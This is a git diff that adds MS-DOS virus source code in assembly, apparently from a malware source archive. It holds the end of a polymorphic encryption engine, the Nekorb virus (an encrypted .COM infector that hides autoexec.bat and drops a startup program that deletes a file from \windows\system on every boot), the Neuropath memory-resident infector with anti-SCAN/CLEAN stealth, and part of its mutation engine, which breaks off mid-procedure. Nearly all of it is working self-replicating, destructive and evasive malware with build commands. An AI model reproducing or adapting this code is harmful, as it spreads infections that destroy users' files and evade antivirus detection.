= offset of storage buffer +; +; Returns: None +;****************************************************************************** + +add_nop proc near + push ax ; Save AX + push bx ; Save BX + push cx ; Save CX + + test word ptr [options],0001b; Are we allowing these? + jne outta_here ; If not, don't add 'em + mov ax,2 ; Select a random number + call rand_num ; between 0 and 1 + or ax,ax ; Does AX = 0? + je outta_here ; If so, don't add any NOPs... + mov ax,4 ; Select a random number + call rand_num ; between 0 and 3 + xchg cx,ax ; CX holds repetitions + jcxz outta_here ; CX = 0? Split... +add_nop_loop: mov ax,4 ; Select a random number + call rand_num ; between 0 and 3 + or ax,ax ; Does AX = 0? + je two_byter ; If so, a two-byte instruction + cmp ax,1 ; Does AX = 1? + je three_byter ; If so, a three-byte instruction + mov al,090h ; We'll do a NOP instead + stosb ; Store it in the code + jmp short loop_point ; Complete the loop +two_byter: mov ax,34 ; Select a random number + call rand_num ; between 0 and 33 + xchg bx,ax ; Place in BX for indexing + shl bx,1 ; Convert to word index + mov ax,word ptr [dummy_word_cmd + bx] ; Get dummy command + stosw ; Save it in the code... + jmp short loop_point ; Complete the loop +three_byter: mov ax,16 ; Select a random number + call rand_num ; between 0 and 15 + mov bx,ax ; Place in BX for indexing + shl bx,1 ; Convert to word index + add bx,ax ; Add back value (BX = BX * 3) + mov ax,word ptr [dummy_three_cmd + bx] ; Get dummy command + stosw ; Save it in the code... + mov al,byte ptr [dummy_three_cmd + bx + 2] + stosb ; Save the final byte, too +loop_point: loop add_nop_loop ; Repeat 0-2 more times +outta_here: pop cx ; Restore CX + pop bx ; Restore BX + pop ax ; Restore AX + ret ; Return to caller + +_dummy_word_cmd: ; Useless instructions, + ; two bytes each + mov ax,ax + mov bx,bx + mov cx,cx + mov dx,dx + mov si,si + mov di,di + mov bp,bp + xchg bx,bx + xchg cx,cx + xchg dx,dx + xchg si,si + xchg di,di + xchg bp,bp + nop + nop + inc ax + dec ax + inc bx + dec bx + inc cx + dec cx + inc dx + dec dx + inc si + dec si + inc di + dec di + inc bp + dec bp + cmc + cmc + jmp short $ + 2 + je $ + 2 + jne $ + 2 + jg $ + 2 + jge $ + 2 + jl $ + 2 + jle $ + 2 + jo $ + 2 + jpe $ + 2 + jpo $ + 2 + js $ + 2 + jcxz $ + 2 + + +_dummy_three_cmd: ; Useless instructions, + ; three bytes each + xor ax,0 + or ax,0 + add ax,0 + add bx,0 + add cx,0 + add dx,0 + add si,0 + add di,0 + add bp,0 + sub ax,0 + sub bx,0 + sub cx,0 + sub dx,0 + sub si,0 + sub di,0 + sub bp,0 +add_nop endp + + +;****************************************************************************** +; gen_mov +; +; Adds code to load a register with a value. If MOV variance is enabled, +; inefficient, sometimes strange, methods may be used; if it is disabled, +; a standard MOV is used (wow). Various alternate load methods include +; loading a larger value then subtracting the difference, loading a +; smaller value the adding the difference, loading an XORd value then +; XORing it by a key that will correct the difference, loading an incorrect +; value and NEGating or NOTing it to correctness, and loading a false +; value then loading the correct one. +; +; Arguments: BX = register number +; CX = 0 for byte register, 1 for word register +; DX = value to store +; SI = offset of ned_start +; DI = offset of storage buffer +; +; Returns: None +;****************************************************************************** + +gen_mov proc + test word ptr [options],0010b; Do we allow wierd moves? + je quick_fixup ; If so, short jump over JMP + jmp make_mov ; If not, standard MOV +quick_fixup: jcxz byte_index_0 ; If we're doing a byte, index + mov bl,byte ptr [word_adj_table + bx] ; Table look-up + jmp short get_rnd_num ; Ok, get a random number now +byte_index_0: mov bl,byte ptr [byte_adj_table + bx] ; Table look-up +get_rnd_num: mov ax,7 ; Select a random number + call rand_num ; between 0 and 6 + shl ax,1 ; Convert AX into word index + lea bp,word ptr [jump_table] ; BP points to jump table + add bp,ax ; BP now points to the offset + mov ax,word ptr [bp] ; AX holds the jump offset + add ax,si ; Adjust by our own offset + mov word ptr [tmp_jmp_store],ax ; Store in scratch variable + mov ax,0FFFFh ; Select a random number + call rand_num ; between 0 and 65564 + xchg bp,ax ; Place random number in BP + jmp word ptr [tmp_jmp_store]; JuMP to a load routine! +load_move: xchg dx,bp ; Swap DX and BP + call make_mov ; Load BP (random) in register + call add_nop ; Add a do-nothing instruction? + xchg dx,bp ; DX now holds real value + jmp short make_mov ; Load real value in reigster +load_sub: add dx,bp ; Add random value to load value + call make_mov ; Create a MOV instruction + call add_nop ; Add a do-nothing instruction? + mov ah,0E8h ; We're doing a SUB + jmp short make_add_sub ; Create the SUB instruction +load_add: sub dx,bp ; Sub. random from load value + call make_mov ; Create a MOV instruction + call add_nop ; Add a do-nothing instruction? + mov ah,0C0h ; We're doing an ADD + jmp short make_add_sub ; Create the ADD instruction +load_xor: xor dx,bp ; XOR load value by random + call make_mov ; Create a MOV instruction + call add_nop ; Add a do-nothing instruction? + mov ah,0F0h ; We're doing an XOR + jmp short make_add_sub ; Create the XOR instruction +load_not: not dx ; Two's-compliment DX + call make_mov ; Create a MOV instruction + call add_nop ; Add a do-nothing instruction? +load_not2: mov al,0F6h ; We're doing a NOT/NEG + add al,cl ; If it's a word, add one + stosb ; Store the byte + mov al,0D0h ; Initialize the ModR/M byte + add al,bl ; Add back the register info + stosb ; Store the byte + ret ; Return to caller +load_neg: neg dx ; One's-compliment DX + call make_mov ; Create a MOV instruction + add bl,08h ; Change the NOT into a NEG + jmp short load_not2 ; Reuse the above code + +make_mov: mov al,0B0h ; Assume it's a byte for now + add al,bl ; Adjust by register ModR/M + jcxz store_mov ; If we're doing a byte, go on + add al,008h ; Otherwise, adjust for word +store_mov: stosb ; Store the OP byte + mov ax,dx ; AX holds the load value +put_byte_or_wd: jcxz store_byte ; If it's a byte, store it + stosw ; Otherwise store a whole word + ret ; Return to caller +store_byte: stosb ; Store the byte in the code + ret ; Return to caller + +make_add_sub: mov al,080h ; Create the OP byte + add al,cl ; If it's a word, add one + stosb ; Store the byte + mov al,ah ; AL now holds ModR/M byte + add al,bl ; Add back the register ModR/M + stosb ; Store the byte in the code + xchg bp,ax ; AX holds the ADD/SUB value + jmp short put_byte_or_wd ; Reuse the above code + +_tmp_jmp_store dw ? ; Pointer: temp. storage +_jump_table dw load_sub - ned_start, load_add - ned_start + dw load_xor - ned_start, load_not - ned_start + dw load_neg - ned_start, load_move - ned_start + dw make_mov - ned_start +gen_mov endp + + +;****************************************************************************** +; gen_add_sub +; +; Adds code to adjust a register either up or down. A random combination +; of ADD/SUBs and INC/DECs is used to increase code variability. Note +; that this procedure will only work on *word* registers; attempts to +; use this procedure for byte registers (AH, AL, etc.) may result in +; invalid code being generated. +; +; Arguments: BX = ModR/M table offset for register +; CX = Number to be added/subtracted from the register +; DX = 0 for addition, 1 for subtraction +; SI = offset of ned_start +; DI = offset of storage buffer +; +; Returns: None +;****************************************************************************** + +gen_add_sub proc near + jcxz exit_g_a_s ; Exit if there's no adjustment +add_sub_loop: call add_nop ; Add a do-nothing instruction? + cmp cx,3 ; Have to adjust > 3 bytes? + ja use_add_sub ; If so, no way we use INC/DEC! + test word ptr [options],0100b; Are ADD/SUBs allowed? + jne use_inc_dec ; If not, only use INC/DECs + mov ax,3 ; Select a random number + call rand_num ; between 0 and 2 + or ax,ax ; Does AX = 0? + je use_add_sub ; If so, use ADD or SUB +use_inc_dec: mov al,byte ptr [word_adj_table + bx] ; Table look-up + add al,040h ; It's an INC... + or dx,dx ; Are we adding? + je store_it0 ; If so, store it + add al,08h ; Otherwise create a DEC +store_it0: stosb ; Store the byte + dec cx ; Subtract one fromt total count + jmp short cxz_check ; Finish off the loop +use_add_sub: mov ax,2 ; Select a random number + call rand_num ; between 0 and 1 + shl ax,1 ; Now it's either 0 or 2 + mov bp,ax ; Save the value for later + add al,081h ; We're going to be stupid + stosb ; and use an ADD or SUB instead + mov al,byte ptr [word_adj_table + bx] ; Table look-up + add al,0C0h ; It's an ADD... + or dx,dx ; Are we adding? + je store_it1 ; If so, store it + add al,028h ; Otherwise create a SUB +store_it1: stosb ; Store the byte + mov ax,cx ; Select a random number + call rand_num ; between 0 and (CX - 1) + inc ax ; Ok, add back one + or bp,bp ; Does BP = 0? + je long_form ; If so, it's the long way + stosb ; Store the byte + jmp short sub_from_cx ; Adjust the count now... +long_form: stosw ; Store the whole word +sub_from_cx: sub cx,ax ; Adjust total count by AX +cxz_check: or cx,cx ; Are we done yet? + jne add_sub_loop ; If not, repeat until we are +exit_g_a_s: ret ; Return to caller +gen_add_sub endp + + +;****************************************************************************** +; random_fill +; +; Pads out the decryption with random garbage; this is only enabled if +; bit 3 of the options byte is set. +; +; Arguments: SI = offset of ned_start +; DI = offset of storage buffer +; +; Returns: None +;****************************************************************************** + +random_fill proc near + test word ptr [options],01000b ; Are we allowing this? + jne exit_r_f ; If not, don't add garbage + mov ax,2 ; Select a random number + call rand_num ; between 0 and 1 + xchg cx,ax ; Wow! A shortcut to save + jcxz exit_r_f ; a byte! If AX = 0, exit + mov ax,101 ; Select a random number + call rand_num ; between 0 and 100 + xchg cx,ax ; Transfer to CX for LOOP + jcxz exit_r_f ; If CX = 0 then exit now... + mov al,0EBh ; We'll be doing a short + stosb ; jump over the code... + mov ax,cx ; Let's get that value back + stosb ; We'll skip that many bytes +garbage_loop: mov ax,0FFFFh ; Select a random number + call rand_num ; between 0 and 65534 + stosb ; Store a random byte + loop garbage_loop ; while (--_CX == 0); +exit_r_f: ret ; Return to caller +random_fill endp + + +;****************************************************************************** +; random_reg +; +; Returns the number of a random register. If CX = 1, a byte register is +; used; if CX = 0, a word register is selected. +; +; Arguments: CX = 0 for word, 1 for byte +; SI = offset of ned_start +; DI = offset of storage buffer +; +; Returns: AX = register number +; BX = register's offset in cross-off table (used_it) +;****************************************************************************** + +random_reg proc near +get_rand_reg: mov ax,cx ; Select a random number + add ax,7 ; between 0 and 6 for words + call rand_num ; or 0 and 7 for bytes + mov bx,ax ; Place in BX for indexing + shr bx,cl ; Divide by two for bytes only + cmp byte ptr [used_it + bx],0 ; Register conflict? + jne get_rand_reg ; If so, try again + ret ; Return to caller +random_reg endp + + +;****************************************************************************** +; rand_num +; +; Random number generation procedure for the N.E.D. This procedure can +; be safely changed without affecting the rest of the module, with the +; following restrictions: all registers that are changed must be preserved +; (except, of course, AX), and AX must return a random number between +; 0 and (BX - 1). This routine was kept internal to avoid the mistake +; that MtE made, that is using a separate .OBJ file for the RNG. (When +; a separate file is used, the RNG's location isn't neccessarily known, +; and therefore the engine can't encrypt it. McAfee, etc. scan for +; the random-number generator.) +; +; Arguments: BX = maximum random number + 1 +; +; Returns: AX = psuedo-random number between 0 and (BX - 1) +;****************************************************************************** + +rand_num proc near + push dx ; Save DX + push cx ; Save CX + + push ax ; Save AX + + rol word ptr [rand_val],1 ; Adjust seed for "randomness" + add word ptr [rand_val],0754Eh ; Adjust it again + + xor ah,ah ; BIOS get timer function + int 01Ah + + xor word ptr [rand_val],dx ; XOR seed by BIOS timer + xor dx,dx ; Clear DX for division... + + mov ax,word ptr [rand_val] ; Return number in AX + pop cx ; CX holds max value + div cx ; DX = AX % max_val + xchg dx,ax ; AX holds final value + + pop cx ; Restore CX + pop dx ; Restore DX + ret ; Return to caller + +_rand_val dw 0 ; Seed for generator +rand_num endp + +ned_end label near ; The end of the N.E.D. + + end \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.nekorb.asm b/MSDOS/Virus.MSDOS.Unknown.nekorb.asm new file mode 100644 index 00000000..365028f2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.nekorb.asm @@ -0,0 +1,345 @@ +; ------------------------------------------------------------------------- ; +; Nekorb v1.5 coded by KilJaeden of the Codebreakers 1998 ; +; ------------------------------------------------------------------------- ; +; Description: `-------------------| Started: 10/06/98 | Finished: 11/06/98 ; +; `-------------------^------------------- ; +; v1.0 - start with a simple *.com appender | Size: 824 ; +; v1.1 - time / date restoration `---------- ; +; v1.2 - add XOR,NEG,NOT,ROR encryption and directory changing ; +; v1.3 - infects files with any attributes (readonly/hidden/sys) ; +; v1.4 - saves / restores file attributes now ; +; v1.5 - the craziest payload I have ever done... how to explain this...! ; +; - 1: infects all the .coms it can, and then jumps to c:\ ; +; - 2: finds the autoexec.bat file, if there is none, one is created ; +; - 3: infects either the old, or the new, autoexec.bat file replacing ; +; - the first line of it, so it executes a .com everytime the ; +; - computer is started up! read only and hides the autoexec.bat ; +; - 4: creates the new .com that the autoexec.bat runs on startup ; +; - 5: that new .com jumps to the \windows\system directory, and ; +; - deletes one file, prints a message, and waits for the infected ; +; - user to press any key (just to make sure they see us) ; +; - the new .com is made read only / hidden as well ; +; ------------------------------------------------------------------------- ; +; ----------------------> For Christine Moore <---------------------------- ; +; ------------------------------------------------------------------------- ; +; to compile ::] tasm nekorb.asm ; +; to link :::::] tlink /t nekorb.obj ; +; ------------------------------------------------------------------------- ; + +code segment ; name our segment 'code' + assume cs:code,ds:code ; assign CS and DS to code + org 100h ; this be a .com file + +blank: db 0e9h,0,0 ; define the blank jump +start: call delta ; push IP on to stack +delta: pop bp ; pop into BP + sub bp,offset delta ; get the delta offset + +encst: jmp not1st ; jump to not1st (overwritten) + lea si,[bp+encd] ; points to encrypted area start + mov di,si ; move the value into DI + call encr ; call the de/encryption routine + jmp encd ; jump to start of encrypted stuff + +encr: lodsb ; load a byte + not al ; encryptin 1 + ror al,4 ; encryptin 2 + neg al ; encryptin 3 + xor al,byte ptr [bp+key] ; encryptin 4 -final- + neg al ; unencrypt 3 + ror al,4 ; unencrypt 2 + not al ; unencrypt 1 + stosb ; stores the byte + loop encr ; does all the bytes + ret ; returns from call + + key db 0 ; our key + +encd: lea si,[bp+buffer] ; three bytes to restore + mov di,100h ; load di with 100h + push di ; save this for the 'retn' + movsw ; move two bytes + movsb ; move one byte + + lea dx,[bp+offset dta] ; new DTA address + mov ah,1ah ; move the dta + int 21h ; DTA is moved + +first: mov ah,4eh ; find the first file + lea dx,[bp+comfile] ; looking for *.c* + mov cx,7 ; with these attributes + +next: int 21h ; find the first .com + jnc infect ; found one? infect it + mov ah,3bh ; change directory + lea dx,[bp+updir] ; load the .. string + int 21h ; now up a directory + jnc first ; jump to first + jmp pload ; hit root? do our payload + +infect: lea dx,[bp+offset dta+1eh] ; get the file info + mov ax,4300h ; get file attributes + int 21h ; we have them now + push cx ; save value #1 + push dx ; save value #2 + push ds ; save value #3 + + mov ax,4301h ; set file attributes + xor cx,cx ; to none at all + int 21h ; ready for infection + + call open ; open the file + + mov ax,5700h ; get time / date stamps + int 21h ; get them now + push dx ; save value #4 + push cx ; save value #5 + + mov ah,3fh ; read record function + lea dx,[bp+buffer] ; to the buffer + mov cx,3 ; three bytes + int 21h ; read those bytes + + mov ax,word ptr [bp+dta+1ah] ; move the file size into AX + mov cx,word ptr [bp+buffer+1] ; move the buffer + 1 into cx + add cx,finish-start+3 ; add virus size + jump + cmp ax,cx ; compare the two + jz shutup ; if equal close the file + cmp ax,1000 ; compare file size with 1kb + jb shutup ; file is too small, close it up + cmp ax,62000 ; compare file size with 62kb + ja shutup ; file is too big, close it up + + sub ax,3 ; get jump to virus body size + mov word ptr [bp+newjump+1],ax ; write this as our jump + + mov al,00h ; start of file + call scan ; scan to start of file + + mov ah,40h ; write to file + lea dx,[bp+newjump] ; write this + mov cx,3 ; # of bytes to write + int 21h ; write it now + + mov al,02h ; end of file + call scan ; scan to end of file + + in al,40h ; get a random value + mov byte ptr [bp+key],al ; save it as our key + + mov ah,40h ; write to file + lea dx,[bp+start] ; where to start writting + mov cx,encd-start ; # of bytes to write + int 21h ; write the non-encrypted stuff + + lea di,[bp+finish] ; load DI with end address + push di ; save value #6 + lea si,[bp+encd] ; load SI with start address + mov cx,finish-encd ; # of bytes between the two + push cx ; save value #7 + call encr ; call the encryption routine + + mov ah,40h ; write to file + pop cx ; saved value #7 + pop dx ; saved value #6 + int 21h ; write those bytes + +shutup: mov ax,5701h ; set time / date + pop cx ; from saved value #5 + pop dx ; from saved value #4 + int 21h ; time / date restored + + mov ax,4301h ; set file attributes + pop ds ; from saved value #3 + pop dx ; from saved value #2 + pop cx ; from saved value #1 + int 21h ; set them now + + call close ; close the file + mov ah,4fh ; find next file + jmp next ; jump to next + +exit: mov dx,80h ; old address of DTA + mov ah,1ah ; restore to original location + int 21h ; DTA is back to original location + retn ; return control to host + +; ---------------------------( The Payload )------------------------------- ; +; ------------------------------------------------------------------------- ; + +pload: mov ah,0eh ; change drive + mov dl,2 ; to drive c:\ + int 21h ; now in c:\ + mov ah,3bh ; change directory + lea dx,[bp+rootdir] ; to the root directory + int 21h ; change now + +find: mov ah,4eh ; find first file + lea dx,[bp+autoexe] ; named 'autoexec.bat' + mov cx,7 ; possible attributes + int 21h ; find it now + jnc infkt ; found it? infect it now + + mov ah,3ch ; make a file + lea dx,[bp+autoexe] ; named 'autoexec.bat' + xor cx,cx ; normal attributes + int 21h ; make it now + jmp find ; and try again + +infkt: lea dx,[bp+offset dta+1eh] ; get the file info + push dx ; save value #8 + mov ax,4301h ; set file attributes + xor cx,cx ; to none at all + int 21h ; set them now + call open ; open the file + + mov ah,40h ; write to file + lea dx,[bp+newline] ; write the new line + mov cx,13 ; this many bytes + int 21h ; write to file + + pop dx ; from saved value #8 + mov ax,4301h ; set file attributes + mov cx,3 ; read only / hidden + int 21h ; set them now + + call close ; close the autoexec.bat + + mov ah,3ch ; create a file + lea dx,[bp+pldfile] ; with this name + push dx ; save value #9 + xor cx,cx ; with no attributes + int 21h ; create it now + + mov ah,4eh ; find the first file + pop dx ; from saved value #9 + mov cx,7 ; with these possible attributes + int 21h ; find it now + + lea dx,[bp+offset dta+1eh] ; get the file name info + push dx ; save value #10 + call open ; open the file + + mov ah,40h ; write to file + lea dx,[bp+pstrt] ; write from here + mov cx,pend-pstrt ; this # of bytes + int 21h ; write them now + + pop dx ; from saved value #10 + mov ax,4301h ; set file attributes + mov cx,3 ; read only / hidden + int 21h ; set them now + + call close ; close winsys.com + jmp exit ; end the virus + +; ---------------------( Remotely Called Procedures )---------------------- ; +; ------------------------------------------------------------------------- ; + +close: mov ah,3eh ; close file + int 21h ; close it now + ret + +open: mov ax,3d02h ; open the file + int 21h ; file is opened + xchg bx,ax ; move the info + ret ; return from call + +scan: mov ah,42h ; scan function + xor cx,cx ; cx must be 0 + cwd ; likewize for DX + int 21h ; scan through file + ret ; return from call + +; -----------------------( The Payload Data Area )------------------------- ; +; ------------------------------------------------------------------------- ; + +pstrt: db 0e9h,0,0 ; need all this again + call paydel ; push IP on to stack +paydel: pop bp ; pop it into bp + sub bp,offset paydel ; get 2nd delta offset + + mov ah,3bh ; change directory + lea dx,[bp+winsys] ; \windows\system + int 21h ; go there now + + mov ah,4eh ; find first file + lea dx,[bp+anyfile] ; with any name *.* + mov cx,7 ; with these possible attributes + int 21h ; find one now + + mov ah,41h ; delete a file + mov dx,9eh ; with this name + int 21h ; delete it + + mov ah,3bh ; change directory + lea dx,[bp+root] ; back to the root dir + int 21h ; go there now + + mov ah,09h ; print a message + lea dx,[bp+paymsg] ; this message + int 21h ; print it to the screen + mov ah,00h ; wait for keypress + int 16h ; let them seeeeee hehehe + int 20h ; end this program + anyfile db '*.*',0 ; find *.* + winsys db "\windows\system",0 ; define directory to change to + root db "\",0 ; change to the root dir + paymsg db '',10,13 ; so they don't see winsys.com exec + db '',10,13 ; so they don't see winsys.com exec + db '',10,13 ; so they don't see winsys.com exec + db '',10,13 ; so they don't see winsys.com exec + db '',10,13 ; so they don't see winsys.com exec + db '',10,13 ; so they don't see winsys.com exec + db '',10,13 ; so they don't see winsys.com exec + db '',10,13 ; so they don't see winsys.com exec + db '',10,13 ; so they don't see winsys.com exec + db '',10,13 ; so they don't see winsys.com exec + db '',10,13 ; so they don't see winsys.com exec + db '',10,13 ; so they don't see winsys.com exec + db '',10,13 ; so they don't see winsys.com exec + db '',10,13 ; so they don't see winsys.com exec + db '',10,13 ; so they don't see winsys.com exec + db '',10,13 ; so they don't see winsys.com exec + db '',10,13 ; so they don't see winsys.com exec + db '',10,13 ; so they don't see winsys.com exec + db '',10,13 ; so they don't see winsys.com exec + db '',10,13 ; so they don't see winsys.com exec + db 'Infected by Nekorb coded by KilJaeden of the Codebreakers on 10/06/98 - 11/06/98',10,13 + db '::Each time you start your computer, an innocent file is sacrificed to my god.::',10,13,'$' +pend: + +; --------------------------( The Data Area )------------------------------ ; +; ------------------------------------------------------------------------- ; + + newline db '.\winsys.com',10,13,'$' + updir db "..",0 ; define the .. string + comfile db "*.com",0 ; define the *.c* string + autoexe db 'autoexec.bat',0 ; name of file to find + buffer db 0cdh,20h,0 ; terminates 1st gen + rootdir db "\",0 ; change to the root dir + pldfile db 'winsys.com',0 ; the name for our new .com + newjump db 0e9h,0,0 ; overwriten 1st gen + dta db 43 dup (?) ; space for the new DTA + finish label near ; an offset label + +; ---------------------( Not Saved / Not Encrypted )----------------------- ; +; ------------------------------------------------------------------------- ; + +not1st: lea di,[bp+encst] ; where to move the bytes + lea si,[bp+new] ; move these bytes + movsw ; move two bytes + movsb ; move one more + jmp encd ; jump to encrypted area + +new: mov cx,finish-encd ; this will overwrite the jump + +; -----------------------------( The End )--------------------------------- ; +; ------------------------------------------------------------------------- ; + + code ends ; end code segment + end blank ; end / where to start + +; ------------------------------------------------------------------------- ; +; ---------> How Can You Think Freely In The Shadow Of A Church? <--------- ; +; ------------------------------------------------------------------------- ; diff --git a/MSDOS/Virus.MSDOS.Unknown.neuro.asm b/MSDOS/Virus.MSDOS.Unknown.neuro.asm new file mode 100644 index 00000000..bbc010ec --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.neuro.asm @@ -0,0 +1,286 @@ +; ========================================================================> +; [Neuropath] by MnemoniX 1994 +; +; * Memory resident .COM infector +; * Polymorphic (engine in neuroeng.asm - lame but effective) +; * Anti-SCAN and CLEAN stealth technique - creates hidden file in +; root directory; when SCAN or CLEAN is run all attempts to open .COM +; files are redirected to hidden file, and they all come out clean. +; ========================================================================> + +code segment + org 0 + assume cs:code + +start: + db 0E9h,0,0 + +virus_begin: + call $ + 3 + pop bp + sub bp,offset $ - 1 + + mov ah,3Ch + mov cx,2 + lea dx,[bp + dummy_file] ; create dummy file + int 21h + + mov ah,3Eh + int 21h + +install: + mov ax,5786h + int 21h + + push ds es + + mov ax,ds + dec ax + mov ds,ax + + sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64 + sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64 + mov es,word ptr ds:[12h] + + push cs ; copy virus into memory + pop ds + xor di,di + mov si,bp + mov cx,(virus_end - start) / 2 + 1 + rep movsw + + xor ax,ax ; capture interrupt 21 + mov ds,ax + + mov si,21h * 4 + mov di,offset old_int_21 + movsw + movsw + + mov word ptr [si - 4],offset new_int_21 + mov [si - 2],es + + pop es ds + jmp install + +int_21: + pushf + call dword ptr cs:[old_int_21] + ret + +new_int_21: + cmp ax,5786h + je restore_host + + cmp ah,4Ch + je terminate + + cmp ah,3Dh + je file_open + + not ax + cmp ax,0B4FFh + je execute +int_21_4B_exit: + not ax + +int_21_exit: + db 0EAh +old_int_21 dd 0 + +restore_host: + pop ax + pop ax + + push ds + mov di,0FEFFh + not di + + lea si,[bp + host] + push di + movsw + movsb + + iret + +terminate: + mov cs:McAffee_alert,0 + jmp int_21_exit + +file_open: + cmp cs:McAffee_alert,1 + jne int_21_exit + + push ax si + mov si,dx + +find_ext: + lodsb + cmp al,'.' + je ext_found + test al,al + je not_com + jmp find_ext + +ext_found: + cmp ds:[si],'OC' ; .COM? + jne not_com + cmp byte ptr ds:[si + 2],'M' + jne not_com + + pop si ax + push ds dx + + push cs + pop ds + mov dx,offset dummy_file + call int_21 + + pop dx ds + retf 2 +not_com: + pop si ax + jmp int_21_exit + +execute: + push ax si + mov si,dx + +find_ext_2: + lodsb + cmp al,'.' + je ext_found_2 + test al,al + je no_scan + jmp find_ext_2 +ext_found_2: + cmp ds:[si],'XE' ; check for SCAN.EXE + jne no_scan + cmp ds:[si - 3],'NA' + jne no_scan + cmp ds:[si - 5],'CS' + jne perhaps_clean +mcaffee_on: + pop si ax + mov cs:McAffee_alert,1 ; McAffee alert! + jmp int_21_4B_exit + +perhaps_clean: + cmp ds:[si - 5],'EL' ; check for CLEAN.EXE + jne no_scan + cmp byte ptr ds:[si - 6],'C' + je mcaffee_on +no_scan: + pop si ax + push ax bx cx dx si di bp ds es + + mov ax,3D00h + call int_21 + jnc check_out + jmp cant_open +check_out: + xchg ax,bx + + push cs + pop ds + + push bx + mov ax,ds:sft_1 + int 2Fh + + mov ax,ds:sft_2 + mov bl,es:[di] + int 2Fh + pop bx + + mov word ptr es:[di + 2],2 + + mov ax,es:[di + 0Dh] + and al,31 + cmp al,24 ; marker is 24 + je dont_infect + + mov ah,ds:file_read ; anti-TBSCAN + mov dx,offset host + mov cx,3 + call int_21 + + mov ax,word ptr ds:host + sub ax,'ZM' + je dont_infect + + mov ax,es:[di + 11h] ; file size + cmp ax,65278 - VIRUS_SIZE + jae dont_infect + + mov es:[di + 15h],ax + sub ax,3 + mov word ptr ds:new_jump + 1,ax + + push es di bx + add ax,103h + xchg dx,ax + mov cx,VIRUS_SIZE + mov si,offset virus_begin + mov di,offset encrypt_buffer + + push cs + pop es + + call engine + pop bx di es + + mov dx,offset encrypt_buffer + call write_it + + mov word ptr es:[di + 15h],0 + mov cx,3 + mov dx,offset new_jump + call write_it + +dont_infect: + mov ax,ds:set_date ; anti-TBSCAN + mov cx,es:[di + 0Dh] + mov dx,es:[di + 0Fh] + and cl,-32 + or cl,24 + call int_21 + + mov ah,3Eh + call int_21 +cant_open: + pop es ds bp di si dx cx bx ax + jmp int_21_4B_exit + +write_it: + mov ah,ds:file_write ; anti-TBSCAN + call int_21 + ret + + db '[Neuropath] MnemoniX',0 + +dummy_file db '\',-1,-1,0 ; 2 ASCII 255s + + include neuroeng.asm + +McAffee_alert db 0 +host db 0CDh,20h,0 +new_jump db 0E9h,0,0 + +set_date dw 5701h +file_read db 3Fh +file_write db 40h +sft_1 dw 1220h +sft_2 dw 1216h + +virus_end: +VIRUS_SIZE equ virus_end - virus_begin + +encrypt_buffer db VIRUS_SIZE + 1000 dup (?) + +heap_end: + +MEM_SIZE equ heap_end - start + +code ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.neuroeng.asm b/MSDOS/Virus.MSDOS.Unknown.neuroeng.asm new file mode 100644 index 00000000..651320ab --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.neuroeng.asm @@ -0,0 +1,284 @@ +; Neurotic Mutation Engine v1.00 for Neuropath +; by MnemoniX 1994 + +engine proc near + call randomize + +get_reg_1: + mov ax,7 ; counter register + call _random + inc ax + cmp al,4 + je get_reg_1 + cmp al,5 + ja get_reg_1 + mov ds:reg_1,al + + push di ; save this + + push ax + call garbage_dump ; crap + pop ax + + add al,0B8h ; store MOV instruction + stosb + mov ax,cx + stosw + + call garbage_dump ; more crap + + mov al,0BFh + stosb + push di ; use this later + stosw + + call garbage_dump ; even more crap + + mov ax,0F78Bh + stosw + + push di ; use this later too + call garbage_dump ; more crap + + mov al,0ADh ; a LODSW + stosb + + call garbage_dump ; yet more crap + + mov al,2 + call _random + test al,al + je add_it + + mov al,35h + mov bl,al + je decryptor +add_it: + mov al,5 + mov bl,2Dh +decryptor: + stosb + mov ds:encrypt_act,bl ; for encryption + + mov ax,-1 + call _random + stosw + mov ds:encrypt_key,ax ; for encryption + + call garbage_dump ; just pilin' on the crap + + mov al,0ABh ; a STOSW + stosb + + call garbage_dump ; the crap continues ... + + mov al,ds:reg_1 ; decrement counter + add al,48h + mov ah,9Ch ; and a PUSHF + stosw + + call garbage_dump ; C-R-A-P ... + + mov ax,749Dh ; a POPF and JZ + stosw + mov ax,4 + call _random ; use later + mov bx,ax + add al,3 + stosb + + mov al,0E9h ; a JMP + stosb + pop ax ; use LODSW offset + sub ax,di + dec ax + dec ax + stosw + + add di,bx ; fix up DI + + pop bx ; now fix up offset value + pop bp + sub bp,di + neg bp + push bp ; size of decryptor - for l8r + add bp,dx + mov es:[bx],bp + + push cx + + push si + mov si,offset one_byters ; swap one-byte instructions + mov ax,7 ; around for variety + call _random + mov bx,ax + mov al,7 + call _random + mov ah,[bx+si] + mov bl,al + mov [bx+si],ah + pop si + +; now we encrypt +encrypt_it: + lodsw +encrypt_act db 0 +encrypt_key dw 0 + stosw + loop encrypt_it + + pop cx + pop dx + add cx,dx + ret + +reg_1 db 0 + +rnd_seed_1 dw 0 +rnd_seed_2 dw 0 + + +garbage_dump: + mov ax,7 ; garbage instructions + call _random + add ax,5 + push cx + mov cx,ax +dump_it: +; El Basurero - "The GarbageMan" + mov ax,8 + call _random + cmp al,2 + jb next_one + je garbage_1 ; a MOV ??,AX + cmp al,3 + je garbage_2 ; operate ??,AX + cmp al,4 + je garbage_3 ; CMP or TEST AX/AL,?? + cmp al,5 ; a few little instructions + jae garbage_4 +next_one: + loop dump_it + pop cx + ret + +garbage_1: + mov al,8Bh + stosb + call get_mov_reg + shl ax,1 + shl ax,1 + shl ax,1 + add al,0C0h + stosb + jmp next_one + +garbage_2: + mov al,8 + call _random + shl ax,1 + shl ax,1 + shl ax,1 + add al,3 + stosb + call get_mov_reg + shl ax,1 + shl ax,1 + shl ax,1 + add al,0C0h + stosb + jmp next_one + +garbage_3: + mov al,2 + call _random + test al,al + je a_cmp + mov al,0A9h + jmp storage +a_cmp: + mov al,3Dh +storage: + stosb + mov ax,-1 + call _random + stosw + jmp next_one + +garbage_4: + push cx + mov ax,4 + call _random + add ax,3 + mov cx,ax + push si + mov bx,offset one_byters +filler_loop: + mov ax,8 + call _random + cmp al,7 + je make_inc_dec + mov si,ax + mov al,[bx+si] +proceed: + stosb + loop filler_loop + + pop si cx + jmp next_one + +make_inc_dec: + call get_mov_reg + add al,40h + jmp proceed + +get_mov_reg: + mov ax,8 